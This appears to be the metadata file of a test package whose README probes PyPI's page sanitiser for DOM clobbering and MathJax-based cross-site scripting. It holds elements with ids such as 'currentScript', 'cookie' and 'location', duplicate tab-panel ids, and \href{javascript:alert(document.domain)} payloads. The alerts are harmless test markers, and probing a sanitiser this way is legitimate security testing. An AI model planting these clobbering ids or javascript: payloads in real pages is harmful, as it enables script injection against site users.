Metadata-Version: 2.1
Name: i77-test-alpha
Version: 122.7.2
Summary: I156 DOM clobbering and fragment-state probe
Home-page: https://pypi.org/project/i77-test-alpha/
Author: QA
Author-email: qa94021002@example.com
License: MIT
Keywords: i156,domclobber
Platform: UNKNOWN
Description-Content-Type: text/markdown

# I156 DOM clobbering / fragment-state probe

Marker: i156-marker-1227

<p id="i156marker">I156 marker paragraph</p>

<div id="i156-div" class="i156-class">plain div with id</div>
<span id="i156-span" class="i156-class">span with id</span>
<a id="i156-a" href="https://example.com/i156">anchor with id</a>
<img id="i156-img" src="https://pypi.org/static/images/favicon.35549fe8.ico" alt="i156">
<input id="i156-input" type="text" value="i156value">

Built-in clobber probes (id only; name is expected to be stripped by the sanitizer):

<img id="currentScript" name="currentScript" src="https://cdn.jsdelivr.net/npm/mathjax@3.2.2/es5/tex-svg.js" alt="cs">
<div id="MathJax-script">MJS</div>
<div id="body">BODY</div>
<div id="getElementById">GEBI</div>
<div id="cookie">COOKIE</div>
<div id="location">LOCATION</div>
<div id="title">TITLE</div>
<div id="clipboard-status">CLIP</div>
<div id="unsupported-browser">UB</div>
<div id="currentScript2">CS2</div>

Non-builtin window/document clobber probes:

<div id="Cypress">CYP</div>
<div id="debug">DBG</div>
<div id="__plausible">PL</div>
<div id="plausible">PL2</div>
<div id="_phantom">PH</div>
<div id="__nightmare">NM</div>
<div id="ethicalads">EA</div>

Duplicate tab-panel ids (README lives inside #description, before the real later panels):

<div id="files">DUP-FILES</div>
<div id="history">DUP-HISTORY</div>
<div id="security">DUP-SECURITY</div>
<div id="metadata">DUP-METADATA</div>
<div id="description">DUP-DESCRIPTION</div>

Pseudo-modal with allowed div/class/id attributes (URL fragment :target state):

<div id="i156modal" class="modal"><div class="modal__form"><a class="modal__close" href="#i156modal">close</a><button type="button" class="js-confirm" disabled>ok</button><a class="js-cancel" href="#modal-close">cancel</a></div></div>

MathJax expressions:

$$\require{color}\color{red}{\text{I156-REQUIRE-COLOR}}$$

Inline math: $\require{html}\href{javascript:alert(document.domain)}{I156-HREF-JS}$

$$\require{html}\href{javascript:alert(1)}{I156-BLOCK-HREF}$$
